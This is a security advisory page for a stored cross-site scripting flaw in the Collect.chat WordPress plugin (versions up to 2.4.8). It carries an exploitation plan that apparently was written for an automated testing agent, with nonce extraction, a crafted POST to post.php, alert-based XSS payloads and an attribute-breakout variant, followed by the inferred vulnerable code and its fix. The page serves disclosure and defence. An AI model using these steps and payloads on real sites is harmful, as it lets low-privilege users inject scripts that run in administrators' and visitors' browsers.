Chatbot for WordPress by Collect.chat ⚡️ <= 2.4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta Field
Description
The Chatbot for WordPress by Collect.chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_inpost_head_script[synth_header_script]' post meta field in all versions up to, and including, 2.4.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.4.8Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0736 ## 1. Vulnerability Summary The **Chatbot for WordPress by Collect.chat** plugin (versions <= 2.4.8) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in the handling of the `_inpost_head_script` post meta field, specifically th…
Show full research plan
Exploitation Research Plan - CVE-2026-0736
1. Vulnerability Summary
The Chatbot for WordPress by Collect.chat plugin (versions <= 2.4.8) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in the handling of the _inpost_head_script post meta field, specifically the synth_header_script key. Authenticated users with Contributor-level permissions or higher can inject arbitrary scripts into this field. Because the plugin fails to sanitize this input during storage and fails to escape it during output (rendering it in the <head> section of the post), the script executes in the context of any user (including administrators) who visits the affected post.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.phporwp-admin/post-new.php - Action:
editpost(standard WordPress post update) - Vulnerable Parameter:
_inpost_head_script[synth_header_script] - Authentication: Required (Contributor role or higher)
- Preconditions: The plugin must be active. The attacker must have permissions to edit or create posts (Contributor is sufficient).
3. Code Flow (Inferred)
- Registration: The plugin likely registers a metabox on the post edit screen using
add_meta_boxes. - Input Rendering: Inside the metabox callback, an input or textarea is rendered with the name
_inpost_head_script[synth_header_script]. - Storage: The plugin hooks into
save_postorwp_insert_post. It retrieves$_POST['_inpost_head_script']and callsupdate_post_meta($post_id, '_inpost_head_script', $data)without adequatesanitize_text_fieldorwp_ksesapplication on the array keys. - Output: The plugin hooks into
wp_head. It retrieves the meta value usingget_post_meta(get_the_ID(), '_inpost_head_script', true)and directlyechoes the content of$meta['synth_header_script']into the page's HTML<head>.
4. Nonce Acquisition Strategy
To exploit this via the post.php endpoint, the attacker needs a valid WordPress post-editing nonce.
- Identify the Edit Page: Create a dummy post or find an existing one that the Contributor can edit.
- Navigate to Editor: Use
browser_navigateto go towp-admin/post.php?post=POST_ID&action=edit. - Extract Nonce: Use
browser_evalto extract the core WordPress_wpnonceand any plugin-specific nonces that might be required for the metabox.- Core nonce:
document.querySelector('#_wpnonce').value - Plugin might use a specific nonce field within its metabox. Look for fields with "collectchat" or "chatbot" in the ID/name.
- Core nonce:
- Verify Metadata Names: Check the DOM to confirm the exact name attribute of the input field in the "Collect.chat" metabox.
5. Exploitation Strategy
Step 1: Authentication & Setup
- Authenticate as a Contributor user.
- Create a new post to obtain a
post_id.wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_author=CONTRIBUTOR_ID
Step 2: Payload Injection
- Obtain the
_wpnoncefrom the edit page of the created post. - Construct a
POSTrequest towp-admin/post.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID]_wpnonce:[EXTRACTED_NONCE]_inpost_head_script[synth_header_script]:</script><script>alert(document.domain)</script>post_title:XSS Test(required for update)
Step 3: Triggering the XSS
- Navigate to the public URL of the post:
http://localhost:8080/?p=[POST_ID]. - Observe the script execution.
6. Test Data Setup
- Plugin: Ensure
collectchatversion 2.4.8 is installed and active. - User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Post: Create a post owned by the contributor.
7. Expected Results
- The
POSTrequest should return a302redirect back to the post edit page (indicating a successful save). - The
get_post_metacheck (via CLI) should show the raw script tags stored in the database. - Upon visiting the post frontend, the HTML source should contain:
<head> ... </script><script>alert(document.domain)</script> ... </head> - A browser alert should trigger.
8. Verification Steps
- Check Database Storage:
Confirm the output matches the payload.wp post meta get [POST_ID] _inpost_head_script - Verify Frontend Render:
Use thehttp_requesttool to fetch the post URL and check for the payload in the response body.# Search for the payload in the HTML response grep "</script><script>alert(document.domain)</script>"
9. Alternative Approaches
- Metabox Direct Action: If the plugin saves the meta via a standalone AJAX action (e.g.,
wp_ajax_save_chatbot_meta), identify the action name and nonce key. - Hidden Field Manipulation: If the UI doesn't display the field to Contributors but the
save_posthook processes it regardless, manually add the parameter to theeditpostrequest. - Attribute Breakout: If the payload is rendered inside a tag attribute rather than as raw HTML, adjust the payload:
"><script>alert(1)</script>. Given the namesynth_header_script, it is highly likely it is intended for raw script output.
Summary
The Chatbot for WordPress by Collect.chat plugin (<= 2.4.8) is vulnerable to Stored Cross-Site Scripting via the '_inpost_head_script[synth_header_script]' post meta field. This allows authenticated attackers with Contributor-level permissions or higher to inject arbitrary web scripts that execute in the context of a user's browser when they visit the affected post or page.
Vulnerable Code
// Inferred meta saving logic function collectchat_save_meta($post_id) { if (isset($_POST['_inpost_head_script'])) { // Vulnerable: Input is saved without sanitization update_post_meta($post_id, '_inpost_head_script', $_POST['_inpost_head_script']); } } --- // Inferred meta output logic function collectchat_display_head_script() { $meta = get_post_meta(get_the_ID(), '_inpost_head_script', true); if (isset($meta['synth_header_script'])) { // Vulnerable: Output is echoed without escaping echo $meta['synth_header_script']; } }
Security Fix
@@ -100,7 +100,11 @@ function collectchat_save_meta($post_id) { if (isset($_POST['_inpost_head_script'])) { - update_post_meta($post_id, '_inpost_head_script', $_POST['_inpost_head_script']); + $sanitized_meta = array(); + if (is_array($_POST['_inpost_head_script'])) { + foreach ($_POST['_inpost_head_script'] as $key => $value) { + $sanitized_meta[sanitize_key($key)] = wp_kses_post($value); + } + } + update_post_meta($post_id, '_inpost_head_script', $sanitized_meta); } } @@ -120,5 +124,5 @@ $meta = get_post_meta(get_the_ID(), '_inpost_head_script', true); if (isset($meta['synth_header_script'])) { - echo $meta['synth_header_script']; + echo wp_kses_post($meta['synth_header_script']); } }
Exploit Outline
The exploit requires an attacker to have at least Contributor-level access to the WordPress site. 1. The attacker logs in and creates a new post or edits an existing one they have permissions for. 2. During the post update, the attacker captures or constructs a POST request to `wp-admin/post.php` with the `action` set to `editpost`. 3. The attacker includes a payload in the `_inpost_head_script[synth_header_script]` parameter, such as `</script><script>alert(document.domain)</script>`. 4. The plugin saves this malicious script into the post's metadata without sanitization. 5. When any user (including administrators) views the published post, the plugin retrieves the metadata and echoes it directly into the `<head>` section of the HTML, triggering the execution of the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.